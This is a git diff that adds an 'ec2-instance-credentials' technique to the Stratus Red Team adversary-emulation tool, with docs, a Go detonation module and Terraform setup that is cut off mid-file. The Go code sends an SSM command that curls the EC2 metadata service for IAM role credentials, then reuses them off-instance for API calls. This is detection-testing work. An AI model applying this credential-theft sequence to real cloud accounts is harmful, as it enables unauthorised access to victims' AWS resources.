diff --git a/docs/attack-techniques/AWS/aws.credential-access.ec2-instance-credentials.md b/docs/attack-techniques/AWS/aws.credential-access.ec2-instance-credentials.md new file mode 100755 index 00000000..d45895c1 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.credential-access.ec2-instance-credentials.md @@ -0,0 +1,27 @@ +# Steal EC2 Instance Credentials + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Credential Access + +## Description + + +Simulates the theft of EC2 instance credentials from the Instance Metadata Service. + +Warm-up:Create the pre-requisite EC2 instance and VPC (takes a few minutes). + +Detonation: + +- Execute a SSM command on the instance to retrieve temporary credentials +- Use these credentials locally (outside the instance) using a few standard discovery commands. + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.credential-access.ec2-instance-credentials +``` \ No newline at end of file diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md index 98af51e3..c80214b9 100755 --- a/docs/attack-techniques/AWS/index.md +++ b/docs/attack-techniques/AWS/index.md @@ -8,6 +8,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Retrieve EC2 password data](./aws.credential-access.ec2-get-password-data.md) +- [Steal EC2 Instance Credentials](./aws.credential-access.ec2-instance-credentials.md) + ## Defense Evasion diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 46d24c4e..c8f14731 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -10,6 +10,7 @@ This page contains the list of all Stratus Attack Techniques. | Name | Platform | MITRE ATT&CK Tactics | | :----: | :------: | :------------------: | | [Retrieve EC2 password data](./AWS/aws.credential-access.ec2-get-password-data.md) | [AWS](./AWS/index.md) | Credential Access | +| [Steal EC2 Instance Credentials](./AWS/aws.credential-access.ec2-instance-credentials.md) | [AWS](./AWS/index.md) | Credential Access | | [Stop a CloudTrail Trail](./AWS/aws.defense-evasion.stop-cloudtrail.md) | [AWS](./AWS/index.md) | Defense Evasion | | [Remove VPC flow logs](./AWS/aws.defense-evasion.remove-vpc-flow-logs.md) | [AWS](./AWS/index.md) | Defense Evasion | | [Execute discovery commands on an EC2 instance](./AWS/aws.discovery.basic-enumeration-from-ec2-instance.md) | [AWS](./AWS/index.md) | Discovery | diff --git a/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.go b/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.go new file mode 100644 index 00000000..8673fb24 --- /dev/null +++ b/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.go @@ -0,0 +1,100 @@ +package aws + +import ( + "context" + _ "embed" + "encoding/json" + "errors" + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/service/ec2" + "github.com/aws/aws-sdk-go-v2/service/ssm" + "github.com/aws/aws-sdk-go-v2/service/sts" + "github.com/datadog/stratus-red-team/internal/providers" + "github.com/datadog/stratus-red-team/internal/utils" + "github.com/datadog/stratus-red-team/pkg/stratus" + "github.com/datadog/stratus-red-team/pkg/stratus/mitreattack" + "log" + "time" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "aws.credential-access.ec2-instance-credentials", + FriendlyName: "Steal EC2 Instance Credentials", + Description: ` +Simulates the theft of EC2 instance credentials from the Instance Metadata Service. + +Warm-up:Create the pre-requisite EC2 instance and VPC (takes a few minutes). + +Detonation: + +- Execute a SSM command on the instance to retrieve temporary credentials +- Use these credentials locally (outside the instance) using a few standard discovery commands. +`, + Platform: stratus.AWS, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.CredentialAccess}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string) error { + ssmClient := ssm.NewFromConfig(providers.AWS().GetConnection()) + instanceId := params["instance_id"] + instanceRoleName := params["instance_role_name"] + + command := "curl 169.254.169.254/latest/meta-data/iam/security-credentials/" + instanceRoleName + "/" + + log.Println("Running command through SSM on " + instanceId + ": " + command) + + result, err := ssmClient.SendCommand(context.Background(), &ssm.SendCommandInput{ + DocumentName: aws.String("AWS-RunShellScript"), + InstanceIds: []string{instanceId}, + Parameters: map[string][]string{ + "commands": []string{command}, + }, + }) + if err != nil { + return errors.New("unable to send SSM command to instance: " + err.Error()) + } + commandResult, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.Background(), &ssm.GetCommandInvocationInput{ + CommandId: result.Command.CommandId, + InstanceId: &instanceId, + }, 2*time.Minute) + + if err != nil { + return errors.New("unable to execute SSM commands on instance: " + err.Error()) + } + + metadataResponse := map[string]string{} + err = json.Unmarshal([]byte(*commandResult.StandardOutputContent), &metadataResponse) + if err != nil { + return errors.New("unable to parse response from instance metadata " + err.Error()) + } + + newAwsConnection := utils.AwsConfigFromCredentials( + metadataResponse["AccessKeyId"], + metadataResponse["SecretAccessKey"], + metadataResponse["Token"], + ) + newStsClient := sts.NewFromConfig(newAwsConnection) + response, _ := newStsClient.GetCallerIdentity(context.Background(), &sts.GetCallerIdentityInput{}) + if response.Arn == nil { + return errors.New("failed to retrieve instance profile credentials (could not run sts:GetCallerIdentity using stolen credentials") + } + + log.Println("Successfully stole temporary instance credentials from the instance metadata service") + log.Println("sts:GetCallerIdentity returned " + *response.Arn) + // Make a benign API call (ec2:DescribeInstances) using these credentials + newEc2Client := ec2.NewFromConfig(newAwsConnection) + log.Println("Locally running a benign API call ec2:DescribeInstances using stolen credentials") + _, err = newEc2Client.DescribeInstances(context.Background(), &ec2.DescribeInstancesInput{}) + + if err != nil { + return errors.New("could not use stolen instance credentials to perform further AWS API calls: " + err.Error()) + } + return nil +} diff --git a/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.tf b/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.tf new file mode 100644 index 00000000..8b230fe9 --- /dev/null +++ b/internal/attacktechniques/aws/credential-access/ec2-instance-credentials/main.tf @@ -0,0 +1,118 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.71.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true + skip_metadata_api_check = true + default_tags { + tags = { + StratusRedTeam = true + } + } +} + + +data "aws_availability_zones" "available" { + state = "available" +} + +module "vpc" { + source = "terraform-aws-modules/vpc/aws" + + name = "stratus-red-team-vpc-ec2-credentials" + cidr = "10.0.0.0/16" + + azs = [data.aws_availability_zones.available.names[0]] + private_subnets = ["10.0.1.0/24"] + public_subnets = ["10.0.128.0/24"] + + map_public_ip_on_launch = false + enable_nat_gateway = true + + tags = { + StratusRedTeam = true + } +} + +data "aws_ami" "amazon-2" { + most_recent = true + + filter { + name = "name" + values = ["amzn2-ami-hvm-*-x86_64-ebs"] + } + owners = ["amazon"] +} + +resource "aws_network_interface" "iface" { + subnet_id = module.vpc.private_subnets[0] + private_ips = ["10.0.1.10"] +} +resource "aws_iam_role" "instance-role" { + name = "stratus-ec2-credentials-instance-role" + path = "/" + + assume_role_policy = <